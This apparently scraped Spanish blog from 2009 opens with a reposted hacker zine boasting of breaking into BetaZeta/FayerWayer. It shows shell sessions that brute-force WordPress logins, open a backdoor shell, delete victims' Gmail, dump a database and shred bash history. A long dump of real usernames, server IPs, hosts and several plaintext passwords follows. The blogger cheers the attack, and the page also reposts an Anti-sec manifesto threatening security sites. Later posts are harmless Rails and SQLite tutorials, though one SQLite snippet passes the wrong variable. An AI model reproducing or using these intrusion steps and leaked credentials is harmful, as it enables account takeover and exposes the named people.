|- http://www.chw.net
|- http://www.zetacorp.net
|- http://www.zimio.com
|- http://www.i2b.cl
|_/
-
-------------------------------------------------------------------------------
  ]====== 0x02 ======[ Vulnerabilities
/* 
 * So you can ask yourself, how can this be? Easy: if you set a weak 
 * password you have a weak security, if you store all your accounts in your mail 
 * you hace a weak security.
 * -> JF aka JF10 aka Juan Francisco Diez has a 9 int long password, easy enought to 
 *    been brute forced.
 * -> Leo aka Leo Prieto has a 5 char + 3 int password (dictionary password).
 * And so on... these dudes really don't know shit about security and lucky for us
 * theirs servers were totally open for us (open legs?).
 */

-------------------------------------------------------------------------------
  ]====== 0x03 ======[ Intrussion
/* Hey ho, lets GO! */


(=| proof-of-concept |=)
/* First get get the silliest password ever from our very best friend JF on any of 
 * the services he uses: twitter, wordpress, etc.. (yes... really silly but he uses 
 * the same password for everything!):
 */

[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user=jf10  http://www.fayerwayer.com/wp-login.php
|===== expl0iting www.fayerwayer.com ====|
................................................................................
................................................................................
....................... FOUND! (2020229)
[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user='leo prieto'  http://www.fayerwayer.com/wp-login.php
|===== expl0iting www.fayerwayer.com ====|
................................................................................
................................................................................
................................................................................
.................................................. FOUND! (macoy123)
[1nf3ct3d@darkside:~]$

/* Done. Now, search a prompt: */

[1nf3ct3d@darkside:~]$ telnet fayerwayer.com 37337
Trying 174.132.120.218...
Connected to fayerwayer.com.
Escape character is '^]'.
bash$

/* Now we can try with anything... say... gmail: */

[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user jf10 -pass 2020229 http://mail.google.com/a/betazeta.com
Logged in.
Deleting
[================================================================================================] 100%
Changing user password ... OK
New password is: HuJucF53

/* Heh! Now lets play with Leo Prieto's stuff (again... same password almost
 * for everything) */

[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user leo -pass macoy123 http://mail.google.com/a/betazeta.com
Logged in.
Deleting
[================================================================================================] 100%
Changing user password ... OK
New password is: 4Gh4Fhb
[1nf3ct3d@darkside:~]$


-------------------------------------------------------------------------------
  ]====== 0x04 ======[ Data requesting
/* Wordpress has been infected ... now waiting for our data */

[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/12/sheet.jpg -o /dev/null
[1nf3ct3d@darkside:~]$ tail sheet.jpg
user:  pass: 
user:  pass: 
user: mr_self-destruct pass: ********
user: march3lo pass: marcel
user: mr_self-destruct pass: ********
user: mr_self-destruct pass: ********
user: sir_lestat pass: ********
user: asdsadfsadf pass: ********
user: Chok pass: ********
user: successor pass: ********
/* Amazing .... */
[1nf3ct3d@darkside:~]$ wc -l sheet.jpg
682 sheet.jpg
[1nf3ct3d@darkside:~]$ wget http://www.botonturbo.com/wp-content/uploads/2007/11/sheet.jpg -o /dev/null -O sheet2.jpg
[1nf3ct3d@darkside:~]$ 

/* Awesome! For each domain we repeat */


[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org
Password:
betaid@betaid.org:~$ ls
app_error.php  app_model.php  config  controllers  htaccess.template  httpdocs index.php  locale  models  plugins  tests  tmp vendors  views webroot
betaid@betaid.org:~$ cd config
betaid@betaid.org:~/config$ ls
acl.ini.php  betaid.php  bootstrap.php chile.sql  core.php  database.php  entelpcs.php  inflections.php  openid.php  routes.php  sql
betaid@betaid.org:~$ grep -v \* database.php 
class DATABASE_CONFIG {

 var $default = array(
  'driver' => 'mysql',
  'persistent' => false,
  'host' => 'localhost',
  'login' => 'betaman', /* look at this! */
  'password' => '********',
  'database' => 'betaid_main',
    'encoding'=> 'UTF8',
  'prefix' => '',
 );

 var $test = array(
  'driver' => 'mysql',
  'persistent' => false,
  'host' => 'localhost',
  'login' => 'user',
  'password' => '********',
  'database' => 'test_database_name',
  'prefix' => '',
 );
}
betaid@betaid.org:~$
/* OMFG! Is a DB_delete_all_my_content password? */

betaid@betaid.org:~$ mysqldump -ubetaman -pbetapass betaid_main >../httpdocs/betaz.sql
betaid@betaid.org:~$ exit
[1nf3ct3d@darkside:~]$ wget http://www.betaid.org/betaz.sql -o /dev/null
[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org "rm -rf httpdocs/betaz.sql && shred .bash_history"
Password:
[1nf3ct3d@darkside:~]$

/* Its time to infect betaid to obtain all data!. We modify controller/auth_controller.php and pump it up */

[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -o /dev/null
[1nf3ct3d@darkside:~]$ wc -l audi-a3.jpg
262 audi-a3.jpg
[1nf3ct3d@darkside:~]$ tail -5 audi-a3.jpg
user: zector pass: ********
user: chokolat pass: ********
user: andru pass: ********
user: angrod pass: ********
user: elmono pass: ********
[1nf3ct3d@darkside:~]$ perl http-delete.pl http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -u admin
admin's pwd:
1 file(s) deleted.
[1nf3ct3d@darkside:~]$

-------------------------------------------------------------------------------
  ]====== 0x05 ======[ Exposure
/* All that you want to see! THE DATA! */
/* Anyone want to twit? */
twitter.com:fayerwayer:f4y3rw4y3rdoesthisshit4realz
vimeo.com:fw@fayerwayer.com:gatoinalambrico

ZeroZen:
mail.google.com/a/zetacorp.net:zerozen:rtr944a5
gmail.com:zeroblogger:rtr944a5
www.google.com/a/betazeta.com:zerozen:rtr944a4

Mail:Pass
jf@betazeta.com:********
leo@betazeta.com:********

http://wayerless.com
user:sebastian pass: ********
user:rodrigo pass: ********
user:juaqion pass: ********
user: rodrigo pass: ********
user: admin pass: ********
user: frajola pass: ********

FayerWayer:
user: rodrigo pass: ********
user: admin pass:********
user: frajola pass:********
user: JF10 pass:********
user: sebastian pass:********
user: carlos pass:********
user: Amenadiel pass:********
user: hugo pass:********
user: admin pass:********
user: i2b pass:********
user: diego pass:********
user: leo prieto pass:********
user: diego pass:********
user: Diego pass:********
user:  diego pass:********
user: ZeroZen pass:********
user: carlos pass:********
user: Ultraviolet pass:********
user: FelipeLang pass:********
user: Ultraviolet pass:********
user: eft0 pass:********
user: eft0@zetacorp pass:********

DB user fayerwayer
DB pass MysqlFayerwayer80

user: mr.chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr.chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: mr. chips pass:********
user: Boxbyte pass:********
user: admin pass:********
user: leoprieto@gmail.com pass: ********

URL: http://69.89.21.73:2082/frontend/bluehost/index.html
user: itwobcl
pass: ********

FTP
IP: 69.89.21.73
User: itwobcl
Pass: ********
---
Jabber
User: esteban@hs.i2b.cl
Pass: ********

Mail
SMTP: smtp.i2b.cl
Port: 587
POP: pop.i2b.cl
Port: 110
User and account: esteban.fernandez@i2b.cl
Pass: ********
---
Customer #: 18766006
Simple Control Panel
URL: https://72.167.52.30:9999
User: zetacorp
Pass: ********

phpmyadmin
URL: http://72.167.52.30/phpMyAdmin
User: root
Pass: ********

SSH
IP: 72.167.52.30
User: zetacorp
Pass: ********

Admin WP
http://www.fayerwayer.com/wp-admin

User: admin
Pass: ********

Admin Limesurvey
http://www.fayerwayer.com/limesurvey/admin
User: admin
Pass: ********

MySQL
User: root
Pass: ********

Backup
IP: 208.109.188.17
User: zetacorp
Pass: ********

PIX
https://72.167.52.79/
User: zetacorp
Pass: ********

ftp FW
Host: fayerwayer.i2b.cl
User: fayerwayer
Pass: ********

i2b
URL: www.bluehost.com
User: i2b.cl
Pass: ********

FTP ablog.i2b.cl
Host: 69.89.21.73
User: itwobcl
Pass: ********
Root Blog: /public_html/blog/

http://www.betazeta.com/wp-admin/
User: admin
Pass: ********

zimio.com (SCP)
User: zimio
Pass: ********

betazeta.com
FTP
User: betazeta
Pass: ********
 
wayerless.com
FTP
User: wayerless
Pass: ********

zetacorp.net
FTP
User: zetacorp
Pass: ********


Plesk
URL: https://64.13.250.71:8443
Username:admin
Password:********

SSH
Host: saborizante.com
User: efernadez
Pass: ********

Root
Pass: ********

Sites
Path: /var/www/vhosts/dominio

User name: eft0
Password : ********
http://betazetanet.seework.com

http://devwayerles.i2b.cl
Username: admin
Password: ********

BetaID
user: lpinto pass: ********
user: perovi pass: ********
user: nestorcarrasco pass: ********
user: volkova pass: ********
user: melkorazo pass: ********
user: melkorazo pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: patofuqs pass: ********
user: gagoner pass: ********
user: claudiomix pass: ********
user: Vidal pass: ********
user: vidal pass: ********
user: lorena pass: ********
user: Polin pass: ********
user: derangedwolf pass: ********
user: darkoy pass: ********
user: darkjano pass: ********
user: hetnet pass: ********
user: hetnet pass: ********
user: nivyii pass: ********
user: nivyii pass: ********
user: serroba pass: ********
user: don juan pass: ********
user: donjuan pass: ********
user: grouchomarx pass: ********
user: grouchomarx pass: ********
user: Evadix pass: ********
user: doruku pass: ********
user: neuroshark pass: ********
user: neuroshark pass: ********
user: andyolivares pass: ********
user: andyolivares pass: ********
user: firexcool pass: ********
user: noquierouser pass: ********
user: Ecodrive pass: ********
user: ecodrive pass: ********
user: masteralfe pass: ********
user: Juako pass: ********
user: talkover pass: ********
user: davidqs pass: ********
user: Thefx pass: ********
user: thefx pass: ********
user: sprite pass: ********
user: nachx00 pass: ********
user: nachx00 pass: ********
user:  pass: ********
user: vagrant pass: ********
user: forbidden pass: ********
user: payazo pass: ********
user: mescalier pass: ********
user: ruffox pass: ********
user: khalebd pass: ********
user: fako85 pass: ********
user: patus pass: ********
user: jorge pass: ********
user: dsalgado pass: ********
user: joseph pass: ********
user: joseph pass: ********
user: manuel pass: ********
user: suikakuyu pass: ********
user: suikakuyu pass: ********
user: eduardo pass: ********
user: paz pass: ********
user: paz pass: ********
user: dickinsonh2k pass: ********
user: clarkxp pass: ********
user: laura pass: ********
user: Marmota pass: ********
user: zirex pass: ********
user: chinito46 pass: ********
user: lukas pass: ********
user: lukas pass: ********
user: Esperpento pass: ********
user: rvs pass: ********
user: davdor pass: ********
user: kmepartaunrayo pass: ********
user: hiroki pass: ********
user: jf10 pass: ********
user: ail pass: ********
user: JanoMac pass: ********
user: eldarberserker pass: ********
user: Nanolethal pass: ********
user: necrox pass: ********
user: rkstro pass: ********
user: Elias pass: ********
user: antony pass: ********+
user: turbomaster pass: ********
user: turbomaster pass: ********
user: turbomaster pass: ********
user: Foxtrot pass: ********
user: vortex pass: ********
user: vortex pass: ********
user: francofa pass: ********
user: saint pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: wurrzag pass: ********
user: infositio pass: ********
user: camilo_dxmg@live pass: ********
user: zector pass: ********
user: chokolat pass: ********
user: andru pass: ********
user: angrod pass: ********
user: elmono pass: ********


-------------------------------------------------------------------------------
  ]====== 0x06 ======[ Extras
/* Do you remember when CHW was erradicated?
 * Oh wait. Remember bootlog too? ;-)
 * -- That's was the OPPORTUNITY which BetaZeta has to set a REAL security-policy
 *
 * Wanna download the betaid source code? Here:
 *
 * http://rapidshare.com/files/254417420/betaid.org.zip.html
 * http://www.megaupload.com/?d=8FT5KYTP
 *
 *
 * Direct message to JF: Be more humble, piece of shit.
 * Seeya in the next issue!
 */



/* Dud3s! Y0u've been pwn3d by teletubbies! */

EOF

Los servidores afectados fueron todos los de BetaZeta (por eso el ataque se llamó FailZeta). Realmente les dieron duro. Los dejaron... DESNUDOS!

La gente de FayerWayer aún está llorando por Twitter y por otros sitios, pero creo que en lugar de llorar y decir que la seguridad de sus servidores no fue comprometida deberían aprender la lección:

No utilicen contraseñas de niños si tienen servicios conocidos o populares en internet, porque puede venir un teletubbie y ZAZZZZ en toda la boca, pa' que aprendan a ser serios ;)

Esta si que ha sido una noche realmente movida YAY! xD

Actualizado: Por petición de la gente de FayerWayer he quitado todas las contraseñas de los usuarios involucrados

Imageshack hackeado!

2009-07-10T20:46:00.001-07:00

Hace unos minutos estaba cambiando un poco el look & feel del blog y cuando recargo la página me encuentro con que la imagen de fondo (almacenada en imageshack) se ve un poco... diferente :S

Al parecer un grupo en contra del "acceso total" que ofrecen grandes compañias para vender sus rancios firewalls, antivirus famélicos y otros programas escatológicos para "ayudar" a la gente han decidido hacer escuchar su voz a través de un servicio tan concurrido como Imageshack.

Después del salto pueden ver la imagen que ha colocado el grupo en su completa extensión.

A continuación traduzco textualmente:

imageshack

Presenta con orgullo...

Anti-sec. Somos un movimiento dedicado a la erradicación del acceso total. Quisimos darle a todos una imagen de lo que nos referimos.

El acceso total es el acceso a los exploits públicos - en todas partes. La industria de la seguridad usa el acceso total para beneficiarse y desarrollar tácticas de terro para convencer a la gente de comprar sus firewalls, anti-virus y servicios de auditoría.

Mientras tanto, scripts de juguete copian y pegan esos exploits y los compilan, listos para atacar a todos los servidores vulnerables que puedan. Si los de cuello blanco realmente estuvieran por la seguridad esta cosa no se publicaría, ni siquiera exploits con ediciones tontas para hacerlos ligeramente inusables.

Como bono adicional, si la publicación no fuera suficiente, esos exploits se replican y distribuyen ampliamente a través de Internet con una linda publicidad incrustada en ellos para el equipo o website que expusó primero la vulnerabilidad al público.

Es por dinero. Mientras resulta difícil cambiar el mundo, y el dinero ciertamente continua siendo importante en ojos de muchos, nuestra batalla es por la remoción del acceso total con la finalidad de ponérsela difícil a la industría de la seguridad y explotar sus consecuencias.

Es nuestra meta que, a través de la mutilación y la destrucción de todos las comunidades perjudiciales, de exploits, compañías e individuos, el acceso total sea abandonado y la industria de la seguridad se vea forzada a reformarse.

¿Cómo pretendemos lograr esto? A través de la eliminación completa, implacable y sin piedad de todos los que apoyan el acceso total y a la industria de la seguridad en su forma actual. Si posees un blog sobre seguridad, sitios web de publicación de exploits o distribuyes cualquier exploit... "eres un objetivo y serás eliminado. Solo es cuestión de tiempo."

Esto no es como antes. Esta vez todos y todo será poseido

Firma: El Movimiento Anti-sec

Ninguna imagen fue herida en la elaboración de esta... imagen.

¿Interesante no? Saludos

Ruby on Rails Inflector en español

2009-06-22T07:50:00.000-07:00

El módulo Inflectors de Ruby on Rails transforma palabras de singular a plural, nombres de clases a nombres de tablas, nombres de clases a claves foráneas, entre otros. Sin embargo éste módulo no soporta pluralización en español.

Si quieremos reemplazar la pluralización que trae por defecto Rails (inglés) y crear la nuestra en español solo debemos agregar estas reglas al final del archivo config/environment.rb:

# Limpiamos todas las inflecciones existentes
Inflector.inflections.clear

# Agregamos las reglas de inflección
Inflector.inflections do |inflect|
  inflect.plural /([taeiou])([A-Z]|_|\$)/, '\1s\2'
  inflect.plural /([rlnd])([A-Z]|_|$)/, '\1es\2'
  inflect.singular /([taeiou])s([A-Z]|_|$)/, '\1\2'
  inflect.singular /([rlnd])es([A-Z]|_|$)/, '\1\2'
end

La primera regla dice algo como: "Todas las palabras que terminen en t, a, e, i, o, u y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con S", mientras que la segunda regla dice: "Todas las palabras que terminen en r, l, n, d y que luego tengan una letra mayúscula, un underscore o un fin de línea entonces se pluralizan con ES". Las reglas tres y cuatro se interpretan siguiendo el mismo criterio pero de forma inversa. Así, "casa" se pluraliza como "casas" y "canción" se pluraliza como "canciones".

Dejaré como tarea para el lector estudiar de manera detallada las expresiones regulares usadas en las reglas, pero les dejaré una pista:

Es necesario recordar que en una expresión regular los paréntesis son signos de agrupación y cada expresión entre paréntesis corresponde a un grupo. Se puede hacer referencia a la expresión asociada a un grupo mediante una barra invertida "\" y el número del grupo. Es por eso que en la expresión regular del Inflector se usa el \1 y el \2

Con el código anterior ya tenemos configurada nuestra pluralización en español. Podemos probarla agregando el código a un proyecto existente y abriendo una consola de Rails:

$ cd proyecto_existente_de_rails
$ script/console
Loading development environment.
>>'prueba'.pluralize
=> "pruebas"

Observamos que ahora el string 'prueba' está en plural. Sin embargo existe un bug en la versión 1.2.6 de Rails (quizás esté corregido en las versiones posteriores pero aún no lo he confirmado) y es que si intentamos pluralizar un string que contenga expresiones que cumplan ambos patrones del inflector entonces obtendremos una sola palabra pluralizada, por ejemplo:

>>'prueba_cancion'.pluralize
=> "prueba_canciones"

Se debe extender la clase Inflector y modificar los métodos pluralize y singularize. El código lo podemos insertar en el mismo archivo config/environment.rb y sería algo como:

# Extender la clase Inflector
module Inflector
  def pluralize(word)
    result = word.to_s.dup

    if word.empty? || inflections.uncountables.include?(result.downcase)
      result
    else
      inflections.plurals.each { |(rule, replacement)| result.gsub!(rule, replacement) }
      result
    end
  end
  
  def singularize(word)
    result = word.to_s.dup
    if inflections.uncountables.include?(result.downcase)
      result
    else
      inflections.singulars.each { |(rule, replacement)| result.gsub!(rule, replacement) }
      result
    end
  end
end

Si revisamos el código fuente de los métodos pluralize y singularize veremos que la diferencia está en la instrucción break if en las líneas 112 y 132 respectivamente:

112:   inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
...
132:   inflections.singulars.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }

Solo debemos eliminar ese par de instrucciones para que entonces la regla sea aplicable a más de un patrón al mismo tiempo.

Por los momentos es todo. Espero sea de utilidad este pequeño pero interesante tip

La Aventura de Ruby on Rails (Parte 3): Hola Mundo

2009-04-21T06:42:00.000-07:00

Con la instalación de Rails obtenemos un nuevo comando de consola, rails, que se usa para construir una nueva aplicación web.

Se preguntarán: ¿Por qué demonios necesito un comando para crear un nuevo proyecto? o quizás digan: Soy un programador que dobla cucharas con la mente ¿Por qué no puedo crear mi proyecto desde cero usando mi editor de texto favorito? Bueno, de hecho, sí se puede crear un proyecto de Rails usando solo un editor de texto y algunos directorios, pero resulta que el comando rails hace un montón de magia tras la cortina para que nuestra aplicación trabaje OUT OF THE BOX con la mínima configuración explícita. Es importante resaltar que la filosofía de Rails es "Convención sobre Configuración".

Además de toda la magia para evitar la configuración, Rails tiene una estructura de directorios muy interesante y cada uno tiene una función bien definida. La imagen a continuación muestra la estructura de un proyecto llamado test:

app: Contiene los archivos de Modelo, Vista y Controlador

components: Almacena los componentes reutilizables

controllers: Guarda todos los controladores

helpers: Almacena modulos utilitarios de las vistas

models: Contiene todos los modelos

views: Almacena todas las vistas

config: Guarda toda la información de configuración del proyecto y los parametros de conexión a la base de datos

db: Contiene la información de los esquemas y de las migraciones de la base de datos

doc: Almacena la documentación autogenerada

lib: Aloja todo el código que no pertenece exclusivamente a la aplicación (plugins, etc)

log: Almacena los reportes producidos por la aplicación (y por el framework)

public: Es la cara externa de la aplicación. El servidor web lo toma como directorio base de la aplicación y lo accesible desde el navegador.

script: Guarda todos los scripts utilitarios de Rails

test: Contiene los test unitarios, test funcionales, mocks y fixtures

tmp: Almacena los archivos temporales de sesiones, cache y cookies

vendor: Cumple la misma función que lib pero para el código de terceras partes

Lo que realmente nos interesa por los momentos es la carpeta app y todo su contenido; ahí es donde ocurrirá toda la diversión xD

Vamos a crear entonces nuestra primera aplicación de prueba para demostrar los conceptos básicos. Abrimos un terminal y navegamos hasta el directorio donde queremos crear el proyecto, luego ejecutamos:

$ rails test
      create  
      create  app/controllers
      create  app/helpers
      create  app/models
        ..         ..
        ..         ..
      create  log/production.log
      create  log/development.log
      create  log/test.log

Ese comando crea el directorio test con toda la parafernalia y la magia de Rails (directorios, configuraciones, etc). Probemos ahora el script utilitario server para cargar WEBrick (un servidor web que trae Ruby por defecto) y verificar que todo está en orden.

$ ruby script/server
=> Booting WEBrick...
=> Rails application started on http://0.0.0.0:3000
=> Ctrl-C to shutdown server; call with --help for options
[2009-04-21 11:37:30] INFO  WEBrick 1.3.1
[2009-04-21 11:37:30] INFO  ruby 1.8.7 (2008-08-11) [i486-linux]
[2009-04-21 11:37:30] INFO  WEBrick::HTTPServer#start: pid=5199 port=3000

Vamos a nuestro navegador favorito y accedemos a la aplicación con la ruta http://localhost:3000. WEBrick usa por defecto el puerto 3000 pero podemos cambiarlo al puerto de nuestra preferencia ejecutando el server con el parámetro -p y el número del puerto, por ejemplo:

$ ruby script/server -p 8080

Rails es un framework netamente MVC y como tal se basa en un flujo de información de un componente a otro. Primero acepta la solicitud proveniente de un navegador, decodifica la petición para encontrar el controlador y llama una acción de ese controlador. El controlador entonces invoca una vista particular para mostrar el resultado de vuelta al usuario.

Para crear nuestro Hola Mundo necesitamos un controlador y una vista. No hace falta un modelo ya que no estaremos trabajando con ningún tipo de datos.

Así como usamos el comando rails para generar el proyecto, usaremos el script generate para crear un controlador. Supongamos que queremos llamar a nuestro controlador Prueba:

$ ruby script/generate controller Prueba
      exists  app/controllers/
      exists  app/helpers/
      create  app/views/prueba
      exists  test/functional/
      create  app/controllers/prueba_controller.rb
      create  test/functional/prueba_controller_test.rb
      create  app/helpers/prueba_helper.rb

El controlador se ha creado en app/controllers/prueba_controller.rb. Si examinamos el código fuente veremos algo como:

class PruebaController < ApplicationController
end

El controlador es bastante simple, una clase PruebaController que hereda de ApplicationController y por consiguiente tiene todos sus métodos. Es importante resaltar que Rails usa una convención de nombres que poco a poco iremos conociendo, por ejemplo para los nombres de las clases usa el estilo CamelCase, para los nombres de los métodos usa minúsculas separadas por guión bajo y así sucesivamente.

Ahora nos toca personalizar un poco nuestra nueva clase; agreguemos una acción llamada saludar:

class PruebaController < ApplicationController
  def saludar
  end
end

Por los momentos la acción saludar no hará nada porque la tarea del controlador es preparar el terreno y la información para que la vista sepa qué mostrar. En esta aplicación no hay nada que preparar, así que una acción vacía será más que suficiente.

Veamos como acceder a esta nueva acción. Rails asocia las URL con la aplicación; la primera parte de la URL identifica la aplicación, la siguiente el controlador y la última la acción a invocar. El siguiente ejemplo ilustra mejor:

Si vamos a esa URL en nuestro navegador veremos una página como la siguiente:

No hay que alarmarse por el error, se debe a que hemos definido un controlador con una acción pero no hemos creado una vista. Las vistas deben ir asociadas con las acciones del controlador y se almacenan en el directorio app/views. Allí deberiamos tener un directorio por cada controlador creado y dentro de esos directorios van las vistas de cada acción. En este caso debemos crear una vista llamada saludar.rhtml dentro del directorio app/views/prueba. El código fuente de esa vista debería ser algo como:

<html>
  <head>
    <title>Hola Mundo</title>
  </head>
  <body>
    <h1>Hola Mundo! desde Rails</h1>
  </body>
</html>

Intentemos de nuevo abrir la dirección http://locahost:3000/prueba/saludar en nuestro navegador y voilá! Ahora si tenemos una vista =D

Hasta el momento nuestra página es vulgar y aburrida... vamos a cambiar esa situación; ¡agreguemos contenido más dinámico!

Una de las formas más simples de añadir contenido dinámico a una vista es incrustando código Ruby ~~al más puro estilo PHP~~. Las vistas deben tener extensión .rhtml, porque de esa forma le indicamos a Rails que ese archivo debe ser interpretado usando el sistema ERb (de Embbeded Ruby).

Todo el contenido escrito en HTML es pasado al navegador directamente pero el contenido que esté encerrado entre los símbolos <%= y %> es intrepetado y ejecutado como código Ruby. El resultado de esa ejecución se convierte a cadena de texto y se reemplaza in situ por la secuencia anterior para entonces generar una salida HTML pura hacía el navegador.

Aclarado ese punto pasemos al controlador para preparar la información que mostrará la vista. Calculemos, por ejemplo, la hora actual agregando unas líneas al controlador. El código debería quedar así:

class PruebaController < ApplicationController
  def saludar
    t = Time.now
    @time = t.strftime('%H:%m:%S')
  end
end

Y ahora actualizamos la vista para que muestre la variable @time:

<html>
  <head>
    <title>Hola Mundo!</title>
  </head>
  <body>
    <h1>Hola Mundo! desde Rails</h1>
    <p>Son las <%= @time %></p>
  </body>
</html>

Ruby suele definir las variables de una clase con una arroba (@) al comienzo del nombre. Para enviar contenido a la vista usamos estas variables de instancia del controlador, pero... ¿Cómo puede la vista leer una variable que es privada del controlador? Pues sencillo, Rails hace una de David Cooperfield para que la vista pueda leer a la fulana variable xD.

Sin más preámbulo, nuestra aplicación debería verse así:

Esta página no es la madre del dinamismo pero al menos cambiará con cada actualización xD

Aquí termina el Hola Mundo. Más adelante estaré publicando una aplicación un poco más elaborada donde se use una base de datos e interactuemos con los modelos.

Cambio y fuera.

Cómo usar SQLite en Python

2009-04-12T08:02:00.000-07:00

SQLite (para los que no la conocen) es una pequeña librería que nos permite manejar bases de datos relacionales y transaccionales, sin necesidad de servidor, sin configuración y almacenadas en un solo archivo en la máquina host.

En otras palabras, nuestra base de datos no es más que un archivo almacenado localmente al que nuestra aplicación tendrá acceso mediante llamadas a las rutinas de la librería ~~como en los viejos tiempos~~. Symbian, Mozilla, Bloomberg y Adobe son solo algunos ~~pequeños~~ usuarios de esta poderosa librería.

Este tutorial está desarrollado usando Debian Squeeze (testing), Python 2.5.4 y SQLite 3. Empezamos por instalar los paquetes necesarios:

# aptitude install python-pysqlite2 sqlitebrowser

Pysqlite2 es un binding de SQLite para python y el sqlitebrowser es una aplicación que nos permitirá administrar la base de datos. Ejecutamos el browser desde un terminal:

$ sqlitebrowser

Vamos al menú File -> New Database para crear una nueva base de datos, le indicamos la ruta y el nombre, para nuestro ejemplo será test.db.

Luego, vamos al menú Edit -> Create Table y creamos una nueva tabla llamada Usuarios con los siguientes campos:

id -> INTEGER PRIMARY KEY
nombre -> TEXT
edad -> NUMERIC
correo -> TEXT
url -> TEXT
visitas -> NUMERIC

Imaginemos que esta tabla es para manejar un sistema donde registraremos a los usuarios que visitan nuestra página web y almacenamos el número de visitas de cada uno (sí, lo se... apesta, pero fue lo mejor que se me ocurrió como ejemplo :S). Debería quedarnos algo así:

Luego que estemos conformes hacemos click en el botón Create y guardamos los cambios en File -> Save Database.

Ahora vamos con la parte divertida, creamos un nuevo archivo de texto con nuestro editor favorito (el mío es SciTE) y lo guardamos como test.py en la misma carpeta donde guardamos la base de datos.

Lo primero que necesitamos para conectarnos a esa base de datos es importar la librería:

import sqlite3

Hacemos la conexión:

connection = sqlite3.connect('test.db')

La mayoría de las operaciones sobre la base de datos se hacen usando un cursor; un objeto que apunta a la base de datos y a través del cual podemos ejecutar instrucciones similares al SQL estándar (pero no idénticas) para obtener, insertar, actualizar o borrar registros.

cursor = connection.cursor()

Muy bonito todo pero se preguntarán ¿Cómo insertamos registros?. La forma recomendada ~~según el librito~~ es usar placeholders (marcadores de posición) puesto que si armamos la cadena usando variables de Python corremos el riesgo de que nos hagan SQL Injection. Es decir, en lugar de hacer esto:

user = 'pedro'
cursor.execute("SELECT * FROM tabla WHERE usuario = '%s'" % user)

Debemos usar tuplas y hacer esto:

user = ('pedro',)
cursor.execute('SELECT * FROM tabla WHERE usuario =?', t)

Insertemos entonces algunos datos para rellenar esa insípida tabla. Primero creamos un arreglo donde esté toda la información a insertar (en este caso es así porque vamos a insertar muchos datos, pero también podemos hacerlo uno por uno)


datos = [
    ('Pedro Perez', 34, 'pperez@tucorreo.com', '', 4),
    ('Maria Gomez', 25, 'maria@sucorreo.com', '', 7),
    ('Pablo Rodriguez', 41, 'pablor@elcorreo.com', 'www.pablo.com', 3),
]

Ahora usamos un iterador para recorrer el arreglo e insertarlo:

for t in datos:
    cursor.execute('INSERT INTO Usuarios (nombre,edad,correo,url,visitas) VALUES (?,?,?,?,?)', t)

Pero esperen, aún no hemos completado la tarea. SQLite es un gestor transaccional por lo que debemos realizar "la transacción" usando el comando commit, de lo contrario ningún cambio se hará efectivo sobre el archivo. Esto aplica para todas las operaciones que modifican la base de datos (léase INSERT, UPDATE, DELETE, etc).

connection.commit()

¡Qué bien! Ya sabemos insertar registros, ya nuestra base de datos no es tan insípida ;)

Ahora veamos como obtener la información que acabamos de guardar. Esto es tan sencillo como estructurar la búsqueda y ejecutarla.

Primero veamos como listar todos los registros:

cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
    print row

Esto nos imprime en el terminal algo como:

(u'pperez@tucorreo.com', 34, 1, u'Pedro Perez', u'', 4)
(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)
(u'pablor@elcorreo.com', 41, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)

Y si queremos una búsqueda más específica podemos hacer algo como lo siguiente para buscar el nombre y las visitas de todos los registros con id igual a 1:

id = (1, )
cursor.execute("SELECT nombre, visitas FROM Usuarios WHERE id=?", id)
for row in cursor:
    print "%s ha realizado %i visitas" % (row[0], row[1])

Para obtener:

Pedro Perez ha realizado 4 visitas

Vamos ahora a actualizar un registro. Es tan fácil como realizar una búsqueda pero usando el comando UPDATE; le decimos qué tabla vamos a actualizar, los campos con sus nuevos valores y la condición que identifica al registro. Para actualizar la edad de Pablo a 24 sería algo como:

values = (24, 'pablor@elcorreo.com', )
cursor.execute("UPDATE Usuarios SET edad=? WHERE correo=?", values)
connection.commit()

Donde values es la tupla que se reemplazará donde están los placeholders. El motor de SQLite interpretará esa búsqueda como si le dijeramos:

cursor.execute("UPDATE Usuarios SET edad=24 WHERE correo='pablor@elcorreo.com'")

La ventaja de los placeholders es que nos permiten crear instrucciones dinámicas y cambiar el contenido de la misma sin tener que estructurarla nuevamente (muy útil para usarla en bucles).

Pero ¿cómo sabemos que realmente se actualizó el registro? Pues sencillo, listemos de nuevo todos los registros:

cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
    print row

Y en el terminal veremos algo como (nótese el nuevo valor de la edad de Pablo):

(u'pperez@tucorreo.com', 34, 1, u'Pedro Perez', u'', 4)
(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)
(u'pablor@elcorreo.com', 24, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)

Todo se ve muy bien, pero surge una última pregunta: ¿Cómo rayos puedo borrar un registro?. Simple, la instrucción DELETE ~~obvio ¿no?~~ seguida de la tabla y de la condición que identifica al registro. Borremos a todos los ~~ancianos~~ usuarios mayores de 34 de nuestro registro:

value = (34,)
cursor.execute("DELETE FROM Usuarios WHERE edad >= ?", value)
connection.commit()

Y una vez más mostramos a todo el mundo:
